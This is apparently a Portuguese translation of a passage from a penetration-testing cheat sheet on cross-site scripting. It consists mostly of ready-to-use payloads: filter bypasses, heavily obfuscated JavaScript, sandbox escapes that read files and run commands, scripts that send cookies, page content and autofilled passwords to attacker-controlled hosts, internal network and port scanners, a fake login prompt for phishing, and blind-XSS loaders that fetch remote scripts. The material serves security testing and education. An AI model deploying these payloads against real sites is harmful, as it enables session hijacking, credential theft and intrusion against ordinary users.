$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Vulnerabilidades DOM

Existe código JS que está utilizando dados controlados de forma insegura por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.
Devido à extensão da explicação sobre vulnerabilidades DOM, ela foi movida para esta página:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Lá você encontrará uma explicação detalhada sobre o que são vulnerabilidades DOM, como são provocadas e como explorá-las.
Além disso, não esqueça que no final do post mencionado você pode encontrar uma explicação sobre ataques de DOM Clobbering.

Outros Bypasses

Unicode Normalizado

Você pode verificar se os valores refletidos estão sendo normalizados para unicode no servidor (ou no lado do cliente) e abusar dessa funcionalidade para burlar proteções. Encontre um exemplo aqui.

Bypass da flag FILTER_VALIDATE_EMAIL do PHP

"><svg/onload=confirm(1)>"@x.y

Bypass no Ruby-On-Rails

Devido ao RoR mass assignment, aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.
Exemplo de formulário (deste relatório), se você enviar o payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

O par "Key", "Value" será ecoado de volta assim:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Então, o atributo onfocus será inserido:

Um XSS ocorre.

Combinações especiais

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS com injeção de cabeçalho em uma resposta 302

Se você descobrir que pode injetar cabeçalhos em uma resposta de Redirecionamento 302, você poderia tentar fazer o navegador executar JavaScript arbitrário. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil.

Neste relatório e neste outro você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.
Protocolos conhecidos no passado: mailto://, //x:1/, ws://, wss://, cabeçalho Location vazio, resource://.

Apenas Letras, Números e Pontos

Se você conseguir indicar o callback que o javascript vai executar limitado a esses caracteres. Leia esta seção deste post para encontrar como abusar deste comportamento.

Tipos de Conteúdo <script> Válidos para XSS

(De aqui) Se você tentar carregar um script com um tipo de conteúdo como application/octet-stream, o Chrome exibirá o seguinte erro:

Recusado a executar script de https://uploader.c.hc.lc/uploads/xxx' porque seu tipo MIME (application/octet-stream) não é executável, e a verificação estrita do tipo MIME está ativada.

Os únicos Content-Types que permitirão que o Chrome execute um script carregado são os que estão dentro da const kSupportedJavascriptTypes de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipos de Script para XSS

(De aqui) Então, quais tipos podem ser indicados para carregar um script?

<script type="???"></script>

A resposta é:

  • module (padrão, nada a explicar)
  • webbundle: Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um arquivo .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Permite melhorar a sintaxe de importação
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Este comportamento foi utilizado em este relatório para remapear uma biblioteca para eval a fim de abusar dela e desencadear XSS.

  • speculationrules: Este recurso é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona assim:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Tipos de Conteúdo Web para XSS

(De aqui) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? não está na lista, mas acho que vi isso em um CTF)
  • application/rss+xml (desativado)
  • application/atom+xml (desativado)

Em outros navegadores, outros Content-Types podem ser usados para executar JS arbitrário, confira: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Tipo de Conteúdo xml

Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Padrões Especiais de Substituição

Quando algo como "alguns {{template}} dados".replace("{{template}}", <user_input>) é usado. O atacante poderia usar substituições especiais de string para tentar contornar algumas proteções: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Por exemplo, neste relatório, isso foi usado para escapar de uma string JSON dentro de um script e executar código arbitrário.

Cache do Chrome para XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

Fuga de XS Jails

Se você só tem um conjunto limitado de caracteres para usar, confira estas outras soluções válidas para problemas de XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Se tudo está indefinido antes de executar código não confiável (como neste relatório), é possível gerar objetos úteis "do nada" para abusar da execução de código arbitrário não confiável:

  • Usando import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Acessando require indiretamente

De acordo com isto, módulos são encapsulados pelo Node.js dentro de uma função, assim:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Portanto, se a partir desse módulo pudermos chamar outra função, é possível usar arguments.callee.caller.arguments[1] dessa função para acessar require:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

De maneira semelhante ao exemplo anterior, é possível usar manipuladores de erro para acessar o invólucro do módulo e obter a função require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Ofuscação & Avanço em Bypass

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

Cargas úteis comuns de XSS

Várias cargas úteis em 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Recuperar Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Você não poderá acessar os cookies pelo JavaScript se a flag HTTPOnly estiver configurada no cookie. Mas aqui você tem algumas maneiras de contornar essa proteção se tiver sorte. {% endhint %}

Roubar Conteúdo da Página

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Encontrar IPs internos

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Scanner de Portas (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Scanner de Portas (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Tempos curtos indicam uma porta que está respondendo Tempos mais longos indicam que não há resposta.

Revise a lista de portas banidas no Chrome aqui e no Firefox aqui.

Caixa para solicitar credenciais

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Captura de senhas preenchidas automaticamente

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Quando qualquer dado é introduzido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas.

Keylogger

Apenas pesquisando no GitHub, encontrei alguns diferentes:

Roubando tokens CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Roubando mensagens PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Abusando de Service Workers

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Acessando Shadow DOM

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

Poliglotas

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Cargas úteis de XSS cego

Você também pode usar: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

